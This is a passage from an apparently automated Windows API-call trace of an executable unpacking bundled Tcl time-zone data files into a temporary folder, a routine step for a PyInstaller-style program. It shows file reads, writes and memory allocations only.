dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.442] GetFileType (hFile=0x10c) returned 0x1 [0043.442] htonl (hostlong=0x972d5d00) returned 0x5d2d97 [0043.442] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dd97, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.442] htonl (hostlong=0x97000000) returned 0x97 [0043.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x55cfe0 [0043.442] htonl (hostlong=0x97000000) returned 0x97 [0043.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.442] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.443] htonl (hostlong=0xbe000000) returned 0xbe [0043.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55da68 [0043.443] htonl (hostlong=0x97000000) returned 0x97 [0043.443] htonl (hostlong=0xbe000000) returned 0xbe [0043.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.443] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.443] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.443] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.443] CloseHandle (hObject=0x10c) returned 1 [0043.443] GetLastError () returned 0x0 [0043.443] SetLastError (dwErrCode=0x0) [0043.443] GetLastError () returned 0x0 [0043.443] SetLastError (dwErrCode=0x0) [0043.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.443] GetFileType (hFile=0x10c) returned 0x1 [0043.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.443] CloseHandle (hObject=0x10c) returned 1 [0043.443] GetLastError () returned 0x0 [0043.443] SetLastError (dwErrCode=0x0) [0043.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.444] GetFileType (hFile=0x10c) returned 0x1 [0043.444] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.444] CloseHandle (hObject=0x10c) returned 1 [0043.444] GetLastError () returned 0x0 [0043.444] SetLastError (dwErrCode=0x0) [0043.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.444] GetFileType (hFile=0x10c) returned 0x1 [0043.444] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.445] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.445] CloseHandle (hObject=0x10c) returned 1 [0043.445] GetLastError () returned 0x0 [0043.445] SetLastError (dwErrCode=0x0) [0043.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT") returned 72 [0043.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\est5edt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.445] GetLastError () returned 0x2 [0043.445] SetLastError (dwErrCode=0x2) [0043.445] GetLastError () returned 0x2 [0043.445] SetLastError (dwErrCode=0x2) [0043.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT", lpFilePart=0x0) returned 0x47 [0043.445] GetLastError () returned 0x2 [0043.445] SetLastError (dwErrCode=0x2) [0043.445] GetLastError () returned 0x2 [0043.445] SetLastError (dwErrCode=0x2) [0043.445] GetLastError () returned 0x2 [0043.445] SetLastError (dwErrCode=0x2) [0043.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT") returned 72 [0043.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\EST5EDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\est5edt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.445] GetFileType (hFile=0x10c) returned 0x1 [0043.446] htonl (hostlong=0xbe000000) returned 0xbe [0043.446] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.446] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0043.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.446] CloseHandle (hObject=0x10c) returned 1 [0043.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55da68 | out: hHeap=0x530000) returned 1 [0043.447] htonl (hostlong=0x30000000) returned 0x30 [0043.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.447] GetFileType (hFile=0x10c) returned 0x1 [0043.447] htonl (hostlong=0x2e2e5d00) returned 0x5d2e2e [0043.447] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61de2e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.447] htonl (hostlong=0x93000000) returned 0x93 [0043.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0043.447] htonl (hostlong=0x93000000) returned 0x93 [0043.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.447] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.447] htonl (hostlong=0xbc000000) returned 0xbc [0043.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbc) returned 0x55dbf8 [0043.447] htonl (hostlong=0x93000000) returned 0x93 [0043.447] htonl (hostlong=0xbc000000) returned 0xbc [0043.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.447] CloseHandle (hObject=0x10c) returned 1 [0043.447] GetLastError () returned 0x0 [0043.447] SetLastError (dwErrCode=0x0) [0043.447] GetLastError () returned 0x0 [0043.448] SetLastError (dwErrCode=0x0) [0043.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.448] GetFileType (hFile=0x10c) returned 0x1 [0043.448] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.448] CloseHandle (hObject=0x10c) returned 1 [0043.448] GetLastError () returned 0x0 [0043.448] SetLastError (dwErrCode=0x0) [0043.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.448] GetFileType (hFile=0x10c) returned 0x1 [0043.448] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.449] CloseHandle (hObject=0x10c) returned 1 [0043.449] GetLastError () returned 0x0 [0043.449] SetLastError (dwErrCode=0x0) [0043.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV") returned 64 [0043.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.449] GetFileType (hFile=0x10c) returned 0x1 [0043.449] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.449] CloseHandle (hObject=0x10c) returned 1 [0043.449] GetLastError () returned 0x0 [0043.449] SetLastError (dwErrCode=0x0) [0043.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10") returned 70 [0043.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\hst10"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.450] GetLastError () returned 0x2 [0043.450] SetLastError (dwErrCode=0x2) [0043.450] GetLastError () returned 0x2 [0043.450] SetLastError (dwErrCode=0x2) [0043.450] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10", lpFilePart=0x0) returned 0x45 [0043.450] GetLastError () returned 0x2 [0043.450] SetLastError (dwErrCode=0x2) [0043.450] GetLastError () returned 0x2 [0043.450] SetLastError (dwErrCode=0x2) [0043.450] GetLastError () returned 0x2 [0043.450] SetLastError (dwErrCode=0x2) [0043.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10") returned 70 [0043.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\SystemV\\HST10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\systemv\\hst10"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.498] GetFileType (hFile=0x10c) returned 0x1 [0043.498] htonl (hostlong=0xbc000000) returned 0xbc [0043.498] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.498] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbc, lpOverlapped=0x0) returned 1 [0043.499] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.499] CloseHandle (hObject=0x10c) returned 1 [0043.499] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dbf8 | out: hHeap=0x530000) returned 1 [0043.499] htonl (hostlong=0x30000000) returned 0x30 [0043.499] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.499] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.499] GetFileType (hFile=0x10c) returned 0x1 [0043.500] htonl (hostlong=0xc12e5d00) returned 0x5d2ec1 [0043.500] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61dec1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.500] htonl (hostlong=0x91000000) returned 0x91 [0043.500] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0043.500] htonl (hostlong=0x91000000) returned 0x91 [0043.500] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.500] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.500] htonl (hostlong=0xb8000000) returned 